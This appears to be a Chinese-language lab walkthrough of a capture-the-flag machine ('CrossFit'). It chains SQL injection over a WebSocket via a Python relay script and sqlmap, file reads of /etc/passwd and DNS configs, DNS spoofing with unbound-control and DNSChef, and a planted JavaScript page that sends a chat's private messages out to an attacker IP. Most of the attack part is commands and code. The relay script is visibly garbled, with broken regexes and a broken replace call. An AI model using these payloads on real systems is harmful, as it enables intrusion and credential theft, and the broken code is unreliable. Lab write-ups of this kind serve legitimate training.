利用WebSocket接口中转注入渗透实战
字数 1021
更新时间 2025-08-13 23:33:00

WebSocket接口中转注入与DNS欺骗渗透实战教学文档

1. 渗透测试概述

本次渗透测试主要展示了如何通过WebSocket接口发现SQL注入漏洞,并利用中转注入技术获取敏感信息,最终通过搭建伪造DNS服务器实现DNS欺骗攻击的全过程。

主要流程:

  1. 信息收集发现WebSocket接口
  2. 使用Burp测试WebSocket接口发现SQL注入
  3. 编写中转注入脚本配合sqlmap获取数据库内容
  4. 利用获取的配置文件搭建伪造DNS服务器
  5. 实施DNS欺骗获取用户凭证

2. WebSocket基础

2.1 WebSocket特点

  • 全双工通信协议,服务器可主动推送信息
  • 相比HTTP轮询更高效
  • 常用于实时应用如聊天室

2.2 WebSocket测试方法

python3 -m websockets ws://target/ws/

3. WebSocket接口SQL注入测试

3.1 使用Burp测试WebSocket

  1. 配置Burp拦截WebSocket流量
  2. 修改WebSocket消息参数测试注入点
  3. 发现params参数存在SQL注入

3.2 直接使用sqlmap失败

sqlmap --url "ws://10.10.10.232/ws/" --data='{"params":"help","token":"..."}' -v 3 --dbs

失败原因:sqlmap无法直接处理WebSocket协议

4. 中转注入技术实现

4.1 中转脚本原理

  • 本地搭建HTTP服务作为中间层
  • 将HTTP请求转换为WebSocket请求
  • 将WebSocket响应返回给sqlmap

4.2 完整中转脚本代码

from websocket import create_connection
import re
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import unquote
import threading
from socketserver import ThreadingMixIn

hostname = "localhost"
serverport = 9000

def xt(msg):
    matches = re.findall(r'token"msg)
    return matches[0]

def send_msg(msg):
    resp = ""
    ws = create_connection("ws://gym.crossfit.htb/ws")
    resp = ws.recv()
    cur_token = xt(resp)
    msg = unquote(msg)
    msg = msg.replace(d = '{"message":"available","params":"'+msg+'","token":"' + cur_token
    print(d)
    ws.send(d)
    resp = ws.recv()
    matches = re.findall(r'message"resp)
    print(matches[0])
    return matches[0]

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        param = self.path[5:]
        self.send_header('Content-Type', 'text/plain')
        self.end_headers()
        resp = send_msg(param)
        self.wfile.write(bytes(resp, "utf-8"))

class ThreadingSimpleServer(ThreadingMixIn, HTTPServer):
    pass

def run():
    server = ThreadingSimpleServer(('0.0.0.0', 9000), Handler)
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        pass

if __name__ == '__main__':
    run()

4.3 使用sqlmap进行中转注入

sqlmap -u http://127.0.0.1:9000/?id=1 --dbs --level 5 --risk 3
sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "employees" -T employees -C username --dump
sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "employees" -T employees -C password --dump

4.4 文件读取技术

sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "crossfit" -T "membership_plans" -C "password" --file-read /etc/passwd
sqlmap -u http://127.0.0.1:9000/?id=1 --level 5 --risk 3 -D "crossfit" -T "membership_plans" -C "password" --file-read /var/unbound/etc/unbound.conf

5. Unbound DNS服务器搭建与利用

5.1 Unbound基本配置

server:
    verbosity: 1
    num-threads: 2
    interface: 127.0.0.1
    interface: ::0
    port: 53
    so-reuseport: yes
    cache-min-ttl: 60
    cache-max-ttl: 600
    outgoing-range: 8192
    access-control: 10.0.0.0/8 allow
    access-control: 127.0.0.1/8 allow
    access-control: ::0/0 allow
    prefetch: yes
    do-ip4: yes
    do-ip6: yes
    do-udp: yes
    do-tcp: yes
    so-rcvbuf: 8m
    so-sndbuf: 8m
    msg-cache-size: 64m
    rrset-cache-size: 128m
    outgoing-num-tcp: 256
    incoming-num-tcp: 1024
    include: "zone.conf"

remote-control:
    control-enable: yes
    control-interface: 127.0.0.1
    control-port: 8953
    server-key-file: "/usr/local/unbound/etc/unbound/unbound_server.key"
    server-cert-file: "/usr/local/unbound/etc/unbound/unbound_server.pem"
    control-key-file: "/usr/local/unbound/etc/unbound/unbound_control.key"
    control-cert-file: "/usr/local/unbound/etc/unbound/unbound_control.pem"

forward-zone:
    name: "."
    forward-addr: 8.8.8.8

5.2 Unbound控制命令

unbound-control -c my_unbound.conf -s 10.10.10.232@8953 forward_add +i some.attacker.htb. <your_ip>@53

6. DNS欺骗实施

6.1 使用DNSChef工具

python3 dnschef.py -i 10.10.16.14 --fakedomains xemployees.crossfit.htb --fakeip 127.0.0.1 --count 2
python3 dnschef.py -i 10.10.16.14 --fakedomains xcrossfit.htb,xemployees.crossfit.htb --fakeip 10.10.16.14

6.2 设置恶意重定向页面

echo "<html><head></head><body><script>window.location=\"http://xcrossfit.htb/go.html\";</script><p>Redirecting ...</p></body></html>" > /var/www/html/password-reset.php

echo "<html><head><script src=\"http://crossfit-club.htb/socket.io/socket.io.js\"></script><script>var s = io.connect(\"http://crossfit-club.htb\");s.emit(\"user_join\", { username : \"Admin\" });s.on(\"private_recv\", (d) => {var xhr = new XMLHttpRequest();xhr.open(\"GET\", \"http://10.10.16.9/get.php?s=\" + btoa(JSON.stringify(d)), true);xhr.send();});</script></head><body><p>Getting data ...</p></body></html>" > /var/www/html/go.html

6.3 触发密码重置

curl -s -X "POST" -H "Host: xemployees.crossfit.htb" -H "Content-Type: application/x-www-form-urlencoded" -d "email=david.palmer%40crossfit.htb" "http://10.10.10.232/password-reset.php"

7. 防御措施

7.1 防止WebSocket SQL注入

  1. 对所有用户输入进行严格验证和过滤
  2. 使用参数化查询或预编译语句
  3. 实施最小权限原则

7.2 防止DNS欺骗

  1. 使用DNSSEC技术
  2. 定期检查DNS服务器配置
  3. 限制DNS控制接口的访问权限
  4. 监控DNS查询日志中的异常

8. 总结

本次渗透测试展示了从WebSocket接口发现到最终获取系统权限的完整链条,关键技术点包括:

  1. WebSocket接口的SQL注入测试方法
  2. 中转注入技术的实现原理
  3. Unbound DNS服务器的配置与利用
  4. DNS欺骗攻击的实施过程

渗透测试的核心思路是:通过SQL注入获取关键配置文件,利用这些信息搭建伪造服务,最终通过社会工程学手段获取用户凭证。

相似文章
相似文章
 全屏